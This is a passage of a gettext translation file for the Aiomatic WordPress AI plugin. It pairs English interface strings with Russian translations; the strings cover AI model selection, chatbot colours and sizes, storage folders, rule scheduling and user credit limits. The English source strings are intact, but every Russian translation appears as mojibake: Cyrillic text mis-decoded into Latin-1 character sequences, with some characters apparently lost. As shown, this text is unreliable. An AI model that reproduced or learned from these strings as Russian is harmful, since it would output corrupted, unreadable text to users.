Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ñекций." #: res/aiomatic-amazon-list.php:4022 res/aiomatic-review-list.php:4175 #: res/aiomatic-rules-list.php:4423 res/aiomatic-youtube-list.php:3933 msgid "" "Select the AI Model to be used for the tag generator. You can add this to " "the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' " "settings field." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° тегов. Ð’Ñ‹ " "можете добавить Ñто к тегам поÑтов, еÑли выберете «Теги, Ñгенерированные AI» " "в поле ÐаÑтроек «ÐвтоматичеÑкое добавление тегов»." #: res/aiomatic-rules-list.php:3895 msgid "Select the AI Model to be used for the text generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта." #: res/aiomatic-amazon-list.php:871 res/aiomatic-amazon-list.php:3391 #: res/aiomatic-review-list.php:865 res/aiomatic-review-list.php:3461 #: res/aiomatic-rules-list.php:810 res/aiomatic-rules-list.php:3548 #: res/aiomatic-single-list.php:1763 res/aiomatic-single-list.php:3751 #: res/aiomatic-single-list.php:5079 res/aiomatic-single-list.php:6370 #: res/aiomatic-youtube-list.php:813 res/aiomatic-youtube-list.php:3285 msgid "Select the AI Model to be used for the title generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° титров." #: res/aiomatic-rules-list.php:3952 #, php-format msgid "" "Select the AI Model to be used for the title text generator. You can add " "this to the post titles, using the %%ai_generated_title%% shortcode." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта " "заголовка. Ð’Ñ‹ можете добавить Ñто в заголовки ПоÑтов, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¨Ð¾Ñ€Ñ‚ÐºÐ¾Ð´ " "%%ai_generated_title%%." #: aiomatic-ajax-actions.php:8091 res/aiomatic-shortcodes.php:286 msgid "Select the AI model to be used for this form." msgstr "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ñтой формы." #: res/aiomatic-rules-list.php:1208 res/aiomatic-single-list.php:2647 #, php-format msgid "" "Select the AI Model to be used for title text generator. You can add this to " "the post titles, using the %%ai_generated_title%% shortcode." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта " "заголовка. Ð’Ñ‹ можете добавить Ñто в заголовки ПоÑтов, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¨Ð¾Ñ€Ñ‚ÐºÐ¾Ð´ " "%%ai_generated_title%%." #: res/aiomatic-spinner-list.php:988 msgid "" "Select the AI model to use for text editing. Currently, the specialized edit " "models from OpenAI/AiomaticAPI are in beta, because of this, at the moment, " "it is recommended to use a completion model." msgstr "" "Выберите модель AI Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта. Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ " "Ñпециализированные модели Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾Ñ‚ OpenAI/AiomaticAPI находÑÑ‚ÑÑ Ð² " "Ñтадии бета-теÑтированиÑ, поÑтому на данный момент рекомендуетÑÑ " "иÑпользовать модель завершениÑ." #: res/aiomatic-chatbot.php:3962 msgid "Select the AI model you want to use for moderation." msgstr "Выберите модель AI, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÑ€Ð°Ñ†Ð¸Ð¸." #: res/aiomatic-spinner-list.php:1706 msgid "Select the AI Model you want to use." msgstr "Выберите модель AI, которую хотите иÑпользовать." #: res/aiomatic-amazon-list.php:1690 res/aiomatic-amazon-list.php:4255 #: res/aiomatic-review-list.php:1759 res/aiomatic-review-list.php:4408 #: res/aiomatic-rules-list.php:1888 res/aiomatic-rules-list.php:4644 #: res/aiomatic-single-list.php:2355 res/aiomatic-single-list.php:3105 #: res/aiomatic-single-list.php:4358 res/aiomatic-single-list.php:5672 #: res/aiomatic-single-list.php:7038 res/aiomatic-youtube-list.php:1646 #: res/aiomatic-youtube-list.php:4166 msgid "Select the AI model you wish to use for image the image generator." msgstr "" "Выберите модель иÑкуÑÑтвенного интеллекта, которую вы хотите иÑпользовать " "Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ в генераторе изображений." #: res/aiomatic-main.php:3588 msgid "Select the alignment of the submit button." msgstr "Выберите Выравнивание Кнопки Отправки." #: res/aiomatic-chatbot.php:887 res/aiomatic-chatbot.php:4338 msgid "" "Select the assistant to be used for chatbot. The model used when creating " "the AI Assistant will be used to create the content." msgstr "" "Выберите ÐÑÑиÑтента, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ‡Ð°Ñ‚-бота. Модель, " "иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð½Ð°Ñ Ð¿Ñ€Ð¸ Ñоздании AI ÐÑÑиÑтента, будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "контента." #: res/aiomatic-amazon-list.php:1893 res/aiomatic-amazon-list.php:4466 #: res/aiomatic-csv-list.php:342 res/aiomatic-csv-list.php:1469 #: res/aiomatic-review-list.php:1962 res/aiomatic-review-list.php:4619 #: res/aiomatic-rules-list.php:2091 res/aiomatic-rules-list.php:4855 #: res/aiomatic-youtube-list.php:1864 res/aiomatic-youtube-list.php:4394 msgid "" "Select the author that you want to assign for the automatically generated " "posts." msgstr "" "Выберите автора, которого вы хотите назначить Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки " "Ñгенерированных ПоÑтов." #: res/aiomatic-chatbot.php:1792 res/aiomatic-chatbot.php:3615 #: res/aiomatic-chatbot.php:3631 msgid "Select the background color of the chatbot form. Default is #f7f7f9" msgstr "Выберите Цвет фона формы чат-бота. По умолчанию #f7f7f9" #: res/aiomatic-chatbot.php:1776 msgid "Select the background color of the chatbot form. Default is #ffffff" msgstr "Выберите цвет фона формы чат-бота. По умолчанию — #ffffff." #: res/aiomatic-main.php:3638 msgid "Select the Background color of the form." msgstr "Выберите Цвет Фона Формы." #: aiomatic-automation.php:829 msgid "" "Select the board associated with your account, where you want to publish " "your pins." msgstr "" "Выберите доÑку, ÑвÑзанную Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑью, на которой вы хотите " "опубликовать Ñвои пины." #: res/aiomatic-chatbot.php:1872 res/aiomatic-chatbot.php:3711 msgid "Select the border color for the input field. Default is #e1e3e6" msgstr "Выберите Цвет границы Ð´Ð»Ñ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. По умолчанию #e1e3e6" #: aiomatic-automation.php:899 msgid "" "Select the business associated with your account, where you want to publish " "your posts." msgstr "" "Выберите Ð±Ð¸Ð·Ð½ÐµÑ ÐºÐ¾Ð¼Ð¿Ð°Ð½Ð¸ÑŽ, ÑвÑзанную Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑью, где вы хотите " "публиковать Ñвои поÑÑ‚Ñ‹." #: res/aiomatic-main.php:3670 msgid "Select the button color of the form." msgstr "Выберите Цвет Кнопки Формы." #: res/aiomatic-main.php:3686 msgid "Select the button text color of the form." msgstr "Выберите Цвет текÑта Кнопки Формы." #: res/aiomatic-chatbot.php:1704 res/aiomatic-chatbot.php:3543 #| msgid "Select the font size of the chatbot form. Default is 1em" msgid "Select the chat font size of the chatbot form. Default is 1em" msgstr "Выберите размер шрифта формы чатбота. По умолчанию 1em" #: res/aiomatic-chatbot.php:1046 msgid "" "Select the chatbot persona you want to use for your current chatbot setup." msgstr "" "Выберите образ чат-бота, который вы хотите иÑпользовать Ð´Ð»Ñ Ñ‚ÐµÐºÑƒÑ‰ÐµÐ¹ " "наÑтройки чат-бота." #: res/aiomatic-chatbot.php:1920 msgid "Select the color of the persona name." msgstr "Выберите цвет имени перÑонажа." #: res/aiomatic-chatbot.php:1936 msgid "Select the color of the persona role." msgstr "Выберите цвет роли перÑонажа." #: res/aiomatic-chatbot.php:1952 res/aiomatic-chatbot.php:3791 msgid "Select the color of the submit button. Default is #55a7e2" msgstr "Выберите Цвет кнопки отправки. По умолчанию # 55a7e2" #: res/aiomatic-chatbot.php:1984 res/aiomatic-chatbot.php:3823 msgid "Select the color of the voice button. Default is #55a7e2" msgstr "Выберите цвет Кнопки ГолоÑа. По умолчанию #55a7e2" #: aiomatic-automation.php:1070 msgid "" "Select the content type you want to send to the webhook. Possible values are " "JSON or Form Data." msgstr "" "Выберите тип контента, который вы хотите отправить на вебхук. Возможные " "значениÑ: JSON или данные формы." #: aiomatic-automation.php:421 aiomatic-automation.php:452 #: res/aiomatic-amazon-list.php:406 res/aiomatic-review-list.php:406 #: res/aiomatic-single-list.php:4614 res/aiomatic-single-list.php:5911 msgid "Select the country where you have registred your affiliate account." msgstr "" "Выберите Ñтрану, в которой вы зарегиÑтрировали Ñвой партнерÑкий аккаунт." #: res/aiomatic-amazon-list.php:2106 res/aiomatic-amazon-list.php:4699 #: res/aiomatic-automation-list.php:4669 res/aiomatic-automation-list.php:7391 #: res/aiomatic-csv-list.php:653 res/aiomatic-csv-list.php:1802 #: res/aiomatic-review-list.php:2175 res/aiomatic-review-list.php:4852 #: res/aiomatic-rules-list.php:2304 res/aiomatic-rules-list.php:5088 #: res/aiomatic-youtube-list.php:2077 res/aiomatic-youtube-list.php:4627 msgid "" "Select the days of the week when you don't want to run this rule. You can " "enter a comma separate list of day names." msgstr "" "Выберите дни недели, когда вы не хотите запуÑкать Ñто правило. Ð’Ñ‹ можете " "ввеÑти ÑпиÑок названий дней через запÑтую." #: res/aiomatic-chatbot.php:1315 res/aiomatic-chatbot.php:4163 msgid "Select the default chat mode (image or text)." msgstr "Выберите режим чата по умолчанию (изображение или текÑÑ‚)." #: res/aiomatic-main.php:5644 msgid "" "Select the default model you want to use for the [aicontent] shortcode. You " "can defined this also in shortcode parameters." msgstr "" "Выберите Модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¨Ð¾Ñ€Ñ‚ÐºÐ¾Ð´Ð° " "[aicontent]. Ð’Ñ‹ также можете указать Ñто в параметрах Шорткода." #: res/aiomatic-main.php:5541 msgid "Select the default model you want to use for the AI Comment Writer." msgstr "" "Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ AI Comment " "Writer." #: res/aiomatic-main.php:5083 msgid "" "Select the default model you want to use for the AI Default Featured Image " "Selector prompt." msgstr "" "Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð¼Ð¿Ñ‚Ð° " "выбора избранного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI по умолчанию." #: res/aiomatic-main.php:3785 msgid "" "Select the default model you want to use for the AI Linking Keyword " "Extraction." msgstr "" "Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ AI " "Ð›Ð¸Ð½ÐºÐ¾Ð²Ð°Ð½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов " #: res/aiomatic-main.php:5182 msgid "" "Select the default model you want to use for the AI Taxonomy Description " "Writer." msgstr "" "Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ AI " "Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий." #: res/aiomatic-main.php:5311 msgid "" "Select the default model you want to use for the AI Taxonomy SEO Description " "Writer. This will set the SEO description for the following SEO plugins: " "Yoast SEO, All In One SEO, Rank Math." msgstr "" "Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ AI " "Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий. Это уÑтановит опиÑание SEO Ð´Ð»Ñ Ñледующих " "плагинов SEO: Yoast SEO, All In One SEO, Rank Math." #: res/aiomatic-main.php:4204 msgid "" "Select the default model you want to use for the AI writer functionality of " "the plugin." msgstr "" "Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ " "Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¾Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ Ð² плагине." #: res/aiomatic-main.php:4078 msgid "" "Select the default model you want to use for the YouTube Video search " "keyword extractor prompt." msgstr "" "Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð¼Ð¿Ñ‚Ð° " "Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов в поиÑке видео на YouTube." #: res/aiomatic-main.php:6520 msgid "Select the embeddings API which will be used by default." msgstr "Выберите API Ð’ÑтраиваниÑ, который будет иÑпользоватьÑÑ Ð¿Ð¾ умолчанию." #: res/aiomatic-spinner-list.php:1275 msgid "Select the engine which will be used for content image editing." msgstr "" "Выберите движок, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ " "контента." #: res/aiomatic-spinner-list.php:1551 msgid "Select the engine which will be used for image editing." msgstr "" "Выберите движок, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹." #: aiomatic-automation.php:597 #, php-format msgid "" "Select the file to load into a shortcode. You can load plain text files or " "xlsx files. If you load an xlsx file, you can also use the following " "shortcodes to access xlsx data: %%xlsx_BLOCKID_XLSXROW_XLSXCOLUMN%%, " "%%xlsx_BLOCKID_column_XLSXCOLUMN%%, %%xlsx_BLOCKID_row_XLSXROW%%, " "%%xlsx_BLOCKID_row_random%%, %%xlsx_BLOCKID_row_random_check%%" msgstr "" "Выберите файл Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ в шорткод. Ð’Ñ‹ можете загружать обычные текÑтовые " "файлы или файлы xlsx. ЕÑли вы загружаете файл xlsx, вы также можете " "иÑпользовать Ñледующие шорткоды Ð´Ð»Ñ Ð´Ð¾Ñтупа к данным xlsx: " "%%xlsx_BLOCKID_XLSXROW_XLSXCOLUMN%%, %%xlsx_BLOCKID_column_XLSXCOLUMN%%, " "%%xlsx_BLOCKID_row_XLSXROW%%, %%xlsx_BLOCKID_row_random%%, " "%%xlsx_BLOCKID_row_random_check%%" #: res/aiomatic-assistants.php:450 res/aiomatic-assistants.php:605 msgid "" "Select the files which will be available for the assistant. You can add more " "files in the 'Manage Assistant Files' menu. To enable this functionality, " "code interpreter or retrieval needs to be enabled for this assistant." msgstr "" "Выберите файлы, которые будут доÑтупны аÑÑиÑтенту. Ð’Ñ‹ можете добавить " "дополнительные файлы в меню «Управление файлами аÑÑиÑтента». Чтобы включить " "Ñту функцию, Ð´Ð»Ñ Ñтого аÑÑиÑтента необходимо включить интерпретатор кода или " "извлечение." #: res/aiomatic-main.php:4768 msgid "" "Select the folder name from CloudFlare R2 where to save the video files. If " "you leave this blank, the videos will be uploaded to the root folder of your " "CloudFlare R2. The plugin will create the directory you define here, if it " "is not already existing." msgstr "" "Выберите Ð¸Ð¼Ñ Ð¿Ð°Ð¿ÐºÐ¸ CloudFlare R2, в которой Ñледует ÑохранÑÑ‚ÑŒ видеофайлы. " "ЕÑли вы оÑтавите Ñто поле пуÑтым, видео будут загружены в корневую папку " "вашего CloudFlare R2. Плагин ÑоздаÑÑ‚ указанный вами здеÑÑŒ каталог, еÑли он " "еще не ÑущеÑтвует." #: res/aiomatic-main.php:4565 msgid "" "Select the folder name from Amazon S3 where to save the video files. If you " "leave this blank, the videos will be uploaded to the root folder of your " "Amazon S3. The plugin will create the directory you define here, if it is " "not already existing." msgstr "" "Выберите Ð¸Ð¼Ñ Ð¿Ð°Ð¿ÐºÐ¸ Amazon S3, в которой Ñледует ÑохранÑÑ‚ÑŒ видеофайлы. ЕÑли " "вы оÑтавите Ñто поле пуÑтым, видео будут загружены в корневую папку вашего " "Amazon S3. Плагин ÑоздаÑÑ‚ указанный вами здеÑÑŒ каталог, еÑли он еще не " "ÑущеÑтвует." #: res/aiomatic-main.php:4853 msgid "" "Select the folder name from Digital Ocean Spaces where to save the video " "files. If you leave this blank, the videos will be uploaded to the root " "folder of your Digital Ocean Spaces. The plugin will create the directory " "you define here, if it is not already existing." msgstr "" "Выберите Ð¸Ð¼Ñ Ð¿Ð°Ð¿ÐºÐ¸ из Digital Ocean Spaces, в которой Ñледует Ñохранить " "видеофайлы. ЕÑли вы оÑтавите Ñто поле пуÑтым, видео будут загружены в " "корневую папку вашего Digital Ocean Spaces. Плагин ÑоздаÑÑ‚ указанный вами " "здеÑÑŒ каталог, еÑли он еще не ÑущеÑтвует." #: res/aiomatic-main.php:4669 msgid "" "Select the folder name from Wasabi where to save the video files. If you " "leave this blank, the videos will be uploaded to the root folder of your " "Wasabi. The plugin will create the directory you define here, if it is not " "already existing." msgstr "" "Выберите Ð¸Ð¼Ñ Ð¿Ð°Ð¿ÐºÐ¸ Wasabi, в которой Ñледует Ñохранить видеофайлы. ЕÑли вы " "оÑтавите Ñто поле пуÑтым, видео будут загружены в корневую папку вашего " "Wasabi. Плагин ÑоздаÑÑ‚ указанный вами здеÑÑŒ каталог, еÑли он еще не " "ÑущеÑтвует." #: res/aiomatic-chatbot.php:1856 res/aiomatic-chatbot.php:3695 msgid "Select the font color of the AI baloon chatbot form. Default is #f0f0f0" msgstr "" "Выберите Цвет шрифта вÑплывающей формы чат-бота AI. По умолчанию #f0f0f0" #: res/aiomatic-chatbot.php:1840 res/aiomatic-chatbot.php:3679 msgid "Select the font color of the AI chatbot form. Default is black" msgstr "Выберите Цвет шрифта формы чат-бота AI. По умолчанию черный" #: res/aiomatic-chatbot.php:1824 res/aiomatic-chatbot.php:3663 msgid "" "Select the font color of the user baloon chatbot form. Default is #0084ff" msgstr "" "Выберите Цвет шрифта формы чат-бота пользователÑ. По умолчанию #0084ff." #: res/aiomatic-chatbot.php:1808 res/aiomatic-chatbot.php:3647 msgid "Select the font color of the user chatbot form. Default is white" msgstr "" "Выберите Цвет шрифта формы пользовательÑкого чат-бота. По умолчанию белый" #: res/aiomatic-chatbot.php:1743 res/aiomatic-chatbot.php:3582 msgid "" "Select the height of the chatbot form. Default is auto. You can set values " "in pixels, like: 400px" msgstr "" "Выберите выÑоту формы чат-бота. По умолчанию — авто. Ð’Ñ‹ можете уÑтановить " "Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² пикÑелÑÑ…, например: 400 пикÑелей." #: res/aiomatic-chatbot.php:2478 res/aiomatic-main.php:3491 msgid "Select the image model for AI generated images." msgstr "Выберите модель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹, Ñозданных AI." #: res/aiomatic-chatbot.php:4246 msgid "Select the image model for the AI image chatbot." msgstr "Выберите модель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ñ‡Ð°Ñ‚-бота изображений AI." #: res/aiomatic-chatbot.php:2456 res/aiomatic-main.php:3469 msgid "Select the image size for AI generated images." msgstr "Выберите размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹, Ñгенерированных AI." #: res/aiomatic-chatbot.php:4226 msgid "Select the image size for the AI image chatbot." msgstr "Выберите размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð§Ð°Ñ‚-бота Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸ÐµÐ¼ AI." #: res/aiomatic-amazon-list.php:237 res/aiomatic-automation-list.php:2548 #: res/aiomatic-csv-list.php:99 res/aiomatic-review-list.php:237 #: res/aiomatic-rules-list.php:247 res/aiomatic-youtube-list.php:237 msgid "" "Select the interval in hours after which you want this rule to run. Defined " "in hours." msgstr "" "Выберите интервал в чаÑах, поÑле которого вы хотите запуÑтить Ñто правило. " "ОпределÑетÑÑ Ð² чаÑах." #: res/aiomatic-amazon-list.php:233 res/aiomatic-automation-list.php:2544 #: res/aiomatic-csv-list.php:95 res/aiomatic-review-list.php:233 #: res/aiomatic-rules-list.php:243 res/aiomatic-youtube-list.php:233 msgid "" "Select the interval in minutes after which you want this rule to run. " "Defined in minutes." msgstr "" "Выберите интервал в минутах, поÑле которого вы хотите запуÑтить Ñто правило. " "ОпределÑетÑÑ Ð² минутах." #: res/aiomatic-main.php:3832 #| msgid "" #| "Select the language of the automatic keyword extractor, which is used for " #| "the internal linking feature of the plugin." msgid "" "Select the language of the automatic keyword extractor, which is used for " "the internal/external linking feature of the plugin." msgstr "" "Выберите Ñзык автоматичеÑкого ÑкÑтрактора ключевых Ñлов, который " "иÑпользуетÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ внутренней/внешней перелинковки плагина." #: res/aiomatic-amazon-list.php:1216 res/aiomatic-amazon-list.php:3747 #: res/aiomatic-csv-list.php:570 res/aiomatic-csv-list.php:1718 #: res/aiomatic-review-list.php:1285 res/aiomatic-review-list.php:3900 #: res/aiomatic-rules-list.php:1418 res/aiomatic-rules-list.php:4148 #: res/aiomatic-single-list.php:1225 res/aiomatic-single-list.php:2122 #: res/aiomatic-single-list.php:2857 res/aiomatic-single-list.php:4110 #: res/aiomatic-single-list.php:5424 res/aiomatic-single-list.php:6790 #: res/aiomatic-spinner-list.php:2098 res/aiomatic-youtube-list.php:1172 #: res/aiomatic-youtube-list.php:3658 msgid "Select the linking method to use in posts." msgstr "Выберите метод линкованиÑ, который будет иÑпользоватьÑÑ Ð² ПоÑтах." #: res/aiomatic-single-list.php:1490 res/aiomatic-single-list.php:3478 #: res/aiomatic-youtube-list.php:540 res/aiomatic-youtube-list.php:3114 msgid "Select the location of the heading images." msgstr "Выберите раÑположение изображений заголовков." #: res/aiomatic-rules-list.php:537 res/aiomatic-rules-list.php:3381 msgid "Select the location of the heading images/videos." msgstr "Выберите раÑположение заголовков изображений/видео." #: res/aiomatic-main.php:3550 msgid "Select the location of the submit button." msgstr "Выберите раÑположение Кнопки Отправки." #: res/aiomatic-main.php:3452 msgid "Select the max length for form input fields." msgstr "Выберите макÑимальную длину Полей Ввода Формы." #: res/aiomatic-limits-statistics.php:943 #: res/aiomatic-limits-statistics.php:1258 msgid "" "Select the maximum number of credits for guests who are not logged in. To " "disable this feature, leave this field blank." msgstr "" "Выберите макÑимальное количеÑтво кредитов Ð´Ð»Ñ Ð³Ð¾Ñтей, которые не вошли в " "ÑиÑтему. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым." #: res/aiomatic-limits-statistics.php:812 #: res/aiomatic-limits-statistics.php:1084 #: res/aiomatic-limits-statistics.php:1428 msgid "" "Select the maximum number of credits for logged in users. Also, you can " "select the type of credits: queries, tokens or price. To disable this " "feature, leave this field blank." msgstr "" "Выберите макÑимальное количеÑтво кредитов Ð´Ð»Ñ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных " "пользователей. Также вы можете выбрать Тип кредитов: запроÑÑ‹, токены или " "цена. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым." #: res/aiomatic-automation-list.php:2559 msgid "Select the maximum number of keywords to process in a single run." msgstr "" "Выберите макÑимальное количеÑтво ключевых Ñлов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ за один проход." #: res/aiomatic-amazon-list.php:248 res/aiomatic-csv-list.php:110 #: res/aiomatic-review-list.php:248 res/aiomatic-rules-list.php:258 #: res/aiomatic-youtube-list.php:248 msgid "Select the maximum number of posts that this rule can create at once." msgstr "" "Выберите макÑимальное количеÑтво ПоÑтов, которое Ñто правило может Ñоздать " "за один раз." #: res/aiomatic-main.php:7856 msgid "" "Select the maximum position of the images from the image search results. " "More relevant images are shown first in the royalty free image search " "results. Because of this, using here a number as low as 4 will make the " "plugin use only the first 4 image results which were returned by the royalty " "free image search. This can improve image precision. If you leave this field " "blank, the default value will be used: 4" msgstr "" "Выберите макÑимальное количеÑтво изображений из результатов поиÑка " "изображений. Более релевантные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶Ð°ÑŽÑ‚ÑÑ Ð¿ÐµÑ€Ð²Ñ‹Ð¼Ð¸ в " "результатах поиÑка изображений royalty free. Из-за Ñтого иÑпользование здеÑÑŒ " "чиÑла вÑего 4 заÑтавит плагин иÑпользовать только первые 4 результата поиÑка " "изображений, которые были возвращены в результате поиÑка изображений royalty " "free. Это может повыÑить точноÑÑ‚ÑŒ изображениÑ. ЕÑли вы оÑтавите Ñто поле " "пуÑтым, будет иÑпользовано значение по умолчанию: 4" #: res/aiomatic-chatbot.php:2497 msgid "" "Select the message which is displayed to the user in case the image " "creations fails." msgstr "" "Выберите Ñообщение, которое будет отображатьÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŽ в Ñлучае неудачи " "при Ñоздании изображениÑ." #: res/aiomatic-chatbot.php:3983 msgid "" "Select the message which will appear to users when their input is flagged." msgstr "" "Выберите ПоÑÑ‚, которое будет отображатьÑÑ Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹, когда их ввод " "отмечен флажком." #: aiomatic-automation.php:199 aiomatic-automation.php:269 #: aiomatic-automation.php:339 #, php-format msgid "" "Select the method to be used for scraping. This will affect the " "%%item_scraped_data%% shortcode." msgstr "" "Выберите метод, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð¿Ð°Ñ€Ñинга. Это повлиÑет на " "шорткод %%item_scraped_data%%." #: res/aiomatic-rules-list.php:419 res/aiomatic-rules-list.php:3239 #: res/aiomatic-single-list.php:1372 msgid "Select the method to be used for the title generator." msgstr "" "Выберите метод, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° заголовков." #: res/aiomatic-main.php:3711 msgid "" "Select the method you want to use for automatic article keyword extraction." msgstr "" "Выберите метод, который вы хотите иÑпользовать Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого " "Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов Ñтатьи." #: res/aiomatic-main.php:3436 msgid "Select the min length for form input fields." msgstr "Выберите минимальную длину Полей Ввода Формы." #: res/aiomatic-chatbot.php:1759 res/aiomatic-chatbot.php:3598 msgid "" "Select the min-height of the chatbot form (when the form is resized, this is " "the minimum height it will be allowed to get. Default is 250px. You can set " "values in pixels, like: 400px" msgstr "" "Выберите минимальную выÑоту формы чат-бота (при изменении размера формы Ñто " "Ð¼Ð¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ‹Ñота, которую ей будет разрешено получить. По умолчанию — 250 " "пикÑелей. Ð’Ñ‹ можете уÑтановить 